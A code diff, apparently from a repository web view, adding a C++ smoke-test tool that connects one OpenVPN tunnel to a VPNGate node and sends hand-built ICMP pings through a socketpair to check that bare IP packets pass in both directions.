[&](std::vector<ProbeResult> r) { got = std::move(r); });
|
||||
io.run();
|
||||
|
||||
CHECK_EQ(got.size(), size_t(1));
|
||||
CHECK(!got[0].reachable);
|
||||
CHECK_EQ(got[0].samples_ok, 0);
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,401 @@
|
||||
// Brings up one OpenVPN tunnel and reports what came back. Nothing above the
|
||||
// ovpn module is involved -- no netstack, no SOCKS5.
|
||||
//
|
||||
// This exists because the design rests on one assumption that cannot be
|
||||
// unit-tested: that openvpn3 is happy to treat a SOCK_DGRAM socketpair
|
||||
// descriptor as its tun device, and that what arrives on our end is bare IP
|
||||
// packets with no framing of its own. This tool proves or disproves that
|
||||
// against a real server in about thirty seconds, and stays in the tree because
|
||||
// the same question comes up again on every openvpn3 bump.
|
||||
//
|
||||
// ovg_tunnel_smoke [--csv FILE] [--node HOSTNAME] [--udp] [--seconds N]
|
||||
//
|
||||
// With no --csv it fetches the live VPNGate list. Exit status is 0 only if the
|
||||
// tunnel came up and at least one IP packet arrived.
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <algorithm>
|
||||
#include <chrono>
|
||||
#include <cstdio>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/http_get.h"
|
||||
#include "common/logging.h"
|
||||
#include "ovpn/tunnel_client.h"
|
||||
#include "vpngate/csv_parser.h"
|
||||
|
||||
using namespace ovg;
|
||||
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "smoke";
|
||||
|
||||
std::string read_file(const std::string &path) {
|
||||
std::string out;
|
||||
std::FILE *f = std::fopen(path.c_str(), "rb");
|
||||
if (!f) return out;
|
||||
char buf[65536];
|
||||
size_t n;
|
||||
while ((n = std::fread(buf, 1, sizeof(buf), f)) > 0) out.append(buf, n);
|
||||
std::fclose(f);
|
||||
return out;
|
||||
}
|
||||
|
||||
// Enough of an IP header decode to prove the framing assumption: if these
|
||||
// fields are sane, what we are being handed really is a bare IP packet.
|
||||
std::string describe_ip_packet(const uint8_t *p, size_t len) {
|
||||
if (len < 1) return "empty";
|
||||
const int version = p[0] >> 4;
|
||||
if (version == 4) {
|
||||
if (len < 20) return fmt::format("truncated IPv4 ({} bytes)", len);
|
||||
const size_t ihl = (p[0] & 0x0f) * 4;
|
||||
const size_t total = (size_t(p[2]) << 8) | p[3];
|
||||
const int proto = p[9];
|
||||
const auto addr = [](const uint8_t *a) {
|
||||
return fmt::format("{}.{}.{}.{}", a[0], a[1], a[2], a[3]);
|
||||
};
|
||||
const char *pname = proto == 6 ? "TCP"
|
||||
: proto == 17 ? "UDP"
|
||||
: proto == 1 ? "ICMP"
|
||||
: "?";
|
||||
std::string s = fmt::format("IPv4 {} -> {} {} len={} (wire {})",
|
||||
addr(p + 12), addr(p + 16), pname, total, len);
|
||||
if (total != len) s += " <-- length mismatch!";
|
||||
if (ihl < 20 || ihl > len) s += " <-- bad IHL";
|
||||
return s;
|
||||
}
|
||||
if (version == 6) {
|
||||
if (len < 40) return fmt::format("truncated IPv6 ({} bytes)", len);
|
||||
return fmt::format("IPv6 next-header={} len={}", p[6], len);
|
||||
}
|
||||
// The interesting failure mode: a 4-byte tun_prefix would put a small
|
||||
// integer here instead of an IP version nibble.
|
||||
return fmt::format("NOT an IP packet: first bytes {:02x} {:02x} {:02x} {:02x} "
|
||||
"(len {}) -- framing assumption is wrong",
|
||||
len > 0 ? p[0] : 0, len > 1 ? p[1] : 0, len > 2 ? p[2] : 0,
|
||||
len > 3 ? p[3] : 0, len);
|
||||
}
|
||||
|
||||
uint16_t inet_checksum(const uint8_t *p, size_t len) {
|
||||
uint32_t sum = 0;
|
||||
for (size_t i = 0; i + 1 < len; i += 2) sum += (uint32_t(p[i]) << 8) | p[i + 1];
|
||||
if (len & 1) sum += uint32_t(p[len - 1]) << 8;
|
||||
while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
|
||||
return static_cast<uint16_t>(~sum);
|
||||
}
|
||||
|
||||
bool parse_ipv4(const std::string &s, uint8_t out[4]) {
|
||||
unsigned a, b, c, d;
|
||||
if (std::sscanf(s.c_str(), "%u.%u.%u.%u", &a, &b, &c, &d) != 4) return false;
|
||||
if (a > 255 || b > 255 || c > 255 || d > 255) return false;
|
||||
out[0] = uint8_t(a); out[1] = uint8_t(b); out[2] = uint8_t(c); out[3] = uint8_t(d);
|
||||
return true;
|
||||
}
|
||||
|
||||
// A complete IPv4 + ICMP echo request. Built by hand because the whole point
|
||||
// is to put a real IP packet on the pipe without a netstack in the way: if the
|
||||
// reply comes back, both directions of the framing assumption hold.
|
||||
std::vector<uint8_t> build_icmp_echo(const std::string &src,
|
||||
const std::string &dst, uint16_t id,
|
||||
uint16_t seq) {
|
||||
std::vector<uint8_t> pkt(20 + 8 + 16, 0);
|
||||
uint8_t *ip = pkt.data();
|
||||
ip[0] = 0x45; // IPv4, IHL 5
|
||||
ip[2] = uint8_t(pkt.size() >> 8); // total length
|
||||
ip[3] = uint8_t(pkt.size() & 0xff);
|
||||
ip[4] = uint8_t(id >> 8); // identification
|
||||
ip[5] = uint8_t(id & 0xff);
|
||||
ip[6] = 0x40; // don't fragment
|
||||
ip[8] = 64; // TTL
|
||||
ip[9] = 1; // ICMP
|
||||
if (!parse_ipv4(src, ip + 12) || !parse_ipv4(dst, ip + 16)) return {};
|
||||
const uint16_t ipsum = inet_checksum(ip, 20);
|
||||
ip[10] = uint8_t(ipsum >> 8);
|
||||
ip[11] = uint8_t(ipsum & 0xff);
|
||||
|
||||
uint8_t *icmp = pkt.data() + 20;
|
||||
icmp[0] = 8; // echo request
|
||||
icmp[4] = uint8_t(id >> 8);
|
||||
icmp[5] = uint8_t(id & 0xff);
|
||||
icmp[6] = uint8_t(seq >> 8);
|
||||
icmp[7] = uint8_t(seq & 0xff);
|
||||
for (size_t i = 0; i < 16; ++i) icmp[8 + i] = uint8_t('a' + i);
|
||||
const uint16_t icsum = inet_checksum(icmp, 8 + 16);
|
||||
icmp[2] = uint8_t(icsum >> 8);
|
||||
icmp[3] = uint8_t(icsum & 0xff);
|
||||
return pkt;
|
||||
}
|
||||
|
||||
struct Options {
|
||||
std::string csv;
|
||||
std::string node;
|
||||
std::string ping = "8.8.8.8";
|
||||
bool udp = false;
|
||||
int seconds = 40;
|
||||
};
|
||||
|
||||
bool parse_args(int argc, char **argv, Options *o) {
|
||||
for (int i = 1; i < argc; ++i) {
|
||||
const std::string a = argv[i];
|
||||
const auto next = [&](std::string *dst) {
|
||||
if (i + 1 >= argc) return false;
|
||||
*dst = argv[++i];
|
||||
return true;
|
||||
};
|
||||
if (a == "--csv") {
|
||||
if (!next(&o->csv)) return false;
|
||||
} else if (a == "--node") {
|
||||
if (!next(&o->node)) return false;
|
||||
} else if (a == "--ping") {
|
||||
if (!next(&o->ping)) return false;
|
||||
} else if (a == "--udp") {
|
||||
o->udp = true;
|
||||
} else if (a == "--seconds") {
|
||||
std::string s;
|
||||
if (!next(&s)) return false;
|
||||
o->seconds = std::atoi(s.c_str());
|
||||
} else {
|
||||
std::fprintf(stderr,
|
||||
"usage: %s [--csv FILE] [--node HOSTNAME] [--udp] "
|
||||
"[--seconds N]\n",
|
||||
argv[0]);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
Options opt;
|
||||
if (!parse_args(argc, argv, &opt)) return 2;
|
||||
|
||||
log::set_level(log::Level::Debug);
|
||||
asio::io_context io;
|
||||
|
||||
// ---- node list ----------------------------------------------------------
|
||||
std::string body;
|
||||
if (!opt.csv.empty()) {
|
||||
body = read_file(opt.csv);
|
||||
if (body.empty()) {
|
||||
LOG_ERROR(kMod, "cannot read {}", opt.csv);
|
||||
return 2;
|
||||
}
|
||||
} else {
|
||||
http::Options ho;
|
||||
ho.timeout = std::chrono::seconds(30);
|
||||
std::error_code fetch_ec;
|
||||
http::async_get(io, "http://www.vpngate.net/api/iphone/", ho,
|
||||
[&](std::error_code ec, http::Response resp) {
|
||||
fetch_ec = ec;
|
||||
body = std::move(resp.body);
|
||||
});
|
||||
io.run();
|
||||
io.restart();
|
||||
if (fetch_ec) {
|
||||
LOG_ERROR(kMod, "fetching the node list failed: {}", fetch_ec.message());
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
|
||||
vpngate::ParseResult pr;
|
||||
std::string err;
|
||||
if (!vpngate::parse_node_list(body, &pr, &err)) {
|
||||
LOG_ERROR(kMod, "node list is not parseable: {}", err);
|
||||
return 2;
|
||||
}
|
||||
LOG_INFO(kMod, "{} nodes parsed -- {}", pr.nodes.size(), pr.stats.summary());
|
||||
|
||||
// ---- pick one -----------------------------------------------------------
|
||||
// Deliberately not the selector: this tool is about the tunnel, and mixing
|
||||
// in the scoring logic would make a failure ambiguous.
|
||||
const vpngate::Node *chosen = nullptr;
|
||||
const vpngate::Remote *remote = nullptr;
|
||||
if (!opt.node.empty()) {
|
||||
for (const auto &n : pr.nodes) {
|
||||
if (n.host_name == opt.node || n.ip == opt.node) {
|
||||
chosen = &n;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!chosen) {
|
||||
LOG_ERROR(kMod, "no node matching '{}'", opt.node);
|
||||
return 2;
|
||||
}
|
||||
remote = chosen->pick_remote(opt.udp);
|
||||
} else {
|
||||
// Highest VPNGate score that offers the protocol we want.
|
||||
int64_t best = -1;
|
||||
for (const auto &n : pr.nodes) {
|
||||
const vpngate::Remote *r = n.pick_remote(opt.udp);
|
||||
if (!r) continue;
|
||||
if (opt.udp && r->proto != vpngate::Proto::Udp) continue;
|
||||
if (n.api.score > best) {
|
||||
best = n.api.score;
|
||||
chosen = &n;
|
||||
remote = r;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!chosen || !remote) {
|
||||
LOG_ERROR(kMod, "no usable node found");
|
||||
return 2;
|
||||
}
|
||||
LOG_INFO(kMod, "trying {} ({}, score {}) via {}:{}/{}", chosen->id(),
|
||||
chosen->country_short, chosen->api.score, remote->host, remote->port,
|
||||
vpngate::proto_name(remote->proto));
|
||||
|
||||
// ---- connect ------------------------------------------------------------
|
||||
OvpnConfig cfg;
|
||||
cfg.connect_timeout_s = 25;
|
||||
cfg.tunnel_up_timeout_s = 35;
|
||||
|
||||
auto tc = ovpn::TunnelClient::create(io, cfg);
|
||||
if (!ovpn::TunnelClient::supported()) {
|
||||
LOG_ERROR(kMod, "this build has no openvpn3 (-DOVG_WITH_TUNNEL=ON)");
|
||||
return 2;
|
||||
}
|
||||
|
||||
bool came_up = false;
|
||||
bool finished = false;
|
||||
size_t packets = 0;
|
||||
size_t echo_replies = 0;
|
||||
std::vector<uint8_t> buf(ovpn::kMaxPacketSize);
|
||||
|
||||
// Reads whatever the tunnel delivers and decodes just enough of each packet
|
||||
// to show that the framing is what we assumed.
|
||||
std::function<void()> read_one = [&] {
|
||||
tc->pipe().socket().async_receive(
|
||||
asio::buffer(buf), [&](std::error_code ec, size_t n) {
|
||||
if (ec) {
|
||||
if (ec != asio::error::operation_aborted)
|
||||
LOG_INFO(kMod, "tun read ended: {}", ec.message());
|
||||
return;
|
||||
}
|
||||
tc->pipe().note_received(n);
|
||||
// ICMP echo reply: type 0 at the start of the payload.
|
||||
if (n >= 28 && (buf[0] >> 4) == 4 && buf[9] == 1 &&
|
||||
buf[(buf[0] & 0x0f) * 4] == 0)
|
||||
++echo_replies;
|
||||
if (++packets <= 12)
|
||||
LOG_INFO(kMod, "rx #{}: {}", packets,
|
||||
describe_ip_packet(buf.data(), n));
|
||||
else if (packets % 200 == 0)
|
||||
LOG_INFO(kMod, "rx {} packets", packets);
|
||||
read_one();
|
||||
});
|
||||
};
|
||||
|
||||
asio::steady_timer pinger(io);
|
||||
uint16_t seq = 0;
|
||||
std::string tun_ip;
|
||||
std::function<void()> ping_once = [&] {
|
||||
const auto pkt = build_icmp_echo(tun_ip, opt.ping, 0x4f56, ++seq);
|
||||
if (pkt.empty()) {
|
||||
LOG_ERROR(kMod, "cannot build an echo request for {} -> {}", tun_ip,
|
||||
opt.ping);
|
||||
return;
|
||||
}
|
||||
const auto st = tc->pipe().send_packet(pkt.data(), pkt.size());
|
||||
LOG_INFO(kMod, "tx echo request #{} {} -> {} ({} bytes): {}", seq, tun_ip,
|
||||
opt.ping, pkt.size(),
|
||||
st == ovpn::PacketPipe::SendStatus::Ok ? "queued"
|
||||
: st == ovpn::PacketPipe::SendStatus::Dropped ? "DROPPED"
|
||||
: "PIPE CLOSED");
|
||||
pinger.expires_after(std::chrono::seconds(2));
|
||||
pinger.async_wait([&](std::error_code ec) {
|
||||
if (!ec) ping_once();
|
||||
});
|
||||
};
|
||||
|
||||
asio::steady_timer deadline(io);
|
||||
|
||||
// Everything that keeps the io_context alive has to be taken down together,
|
||||
// the pending tun read included: leaving it armed means the final drain
|
||||
// never returns.
|
||||
auto shutdown = [&] {
|
||||
deadline.cancel();
|
||||
pinger.cancel();
|
||||
if (tc->pipe().is_open()) {
|
||||
std::error_code ignored;
|
||||
tc->pipe().socket().cancel(ignored);
|
||||
}
|
||||
tc->stop([&] { finished = true; });
|
||||
};
|
||||
|
||||
deadline.expires_after(std::chrono::seconds(opt.seconds));
|
||||
deadline.async_wait([&](std::error_code ec) {
|
||||
if (ec) return;
|
||||
LOG_INFO(kMod, "{}s elapsed, shutting down", opt.seconds);
|
||||
shutdown();
|
||||
});
|
||||
|
||||
if (!tc->start(*chosen, *remote, [&](ovpn::TunnelState st,
|
||||
const ovpn::TunnelInfo &info,
|
||||
const std::string &detail) {
|
||||
LOG_INFO(kMod, "state -> {}{}{}", ovpn::tunnel_state_name(st),
|
||||
detail.empty() ? "" : ": ", detail);
|
||||
if (st == ovpn::TunnelState::Up) {
|
||||
came_up = true;
|
||||
LOG_INFO(kMod,
|
||||
"pushed: ip={}/{} gw={} mtu={} dns=[{}] redirect_gw={} "
|
||||
"routes={} server={}",
|
||||
info.ipv4, info.prefix4, info.gateway4, info.mtu,
|
||||
fmt::join(info.dns, ","), info.redirect_gateway,
|
||||
info.routes.size(), info.server_ip);
|
||||
// A tunnel that comes up but carries nothing is the failure this
|
||||
// tool is really looking for. Nothing else generates traffic here,
|
||||
// so send something that has to be answered.
|
||||
tun_ip = info.ipv4;
|
||||
ping_once();
|
||||
} else if (st == ovpn::TunnelState::Down) {
|
||||
shutdown();
|
||||
}
|
||||
},
|
||||
&err)) {
|
||||
LOG_ERROR(kMod, "start failed: {}", err);
|
||||
return 2;
|
||||
}
|
||||
|
||||
// Only now: pipe() is guaranteed valid from a successful start(), not before.
|
||||
read_one();
|
||||
|
||||
while (!finished && !io.stopped()) {
|
||||
if (io.run_one() == 0) break;
|
||||
}
|
||||
io.run(); // drain the stop callback
|
||||
|
||||
const auto ctr = tc->pipe().counters();
|
||||
LOG_INFO(kMod,
|
||||
"result: up={} tx={} pkts/{} B (dropped {}) rx={} pkts/{} B, "
|
||||
"{} echo replies",
|
||||
came_up, ctr.tx_packets, ctr.tx_bytes, ctr.tx_dropped,
|
||||
ctr.rx_packets, ctr.rx_bytes, echo_replies);
|
||||
|
||||
if (!came_up) {
|
||||
LOG_ERROR(kMod, "tunnel never came up");
|
||||
return 1;
|
||||
}
|
||||
if (ctr.rx_packets == 0) {
|
||||
LOG_ERROR(kMod,
|
||||
"tunnel came up but no IP packet ever arrived on the pipe -- "
|
||||
"the socketpair-as-tun assumption needs re-checking");
|
||||
return 1;
|
||||
}
|
||||
if (echo_replies == 0) {
|
||||
LOG_ERROR(kMod,
|
||||
"packets arrive but none of them answered our echo requests; "
|
||||
"the node may be filtering ICMP, so this is inconclusive rather "
|
||||
"than a verdict on the tun plumbing");
|
||||
return 1;
|
||||
}
|
||||
LOG_INFO(kMod,
|
||||
"OK: openvpn3 took the socketpair as its tun, our hand-built IP "
|
||||
"packet reached {} and the reply came back unframed",
|
||||
opt.ping);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user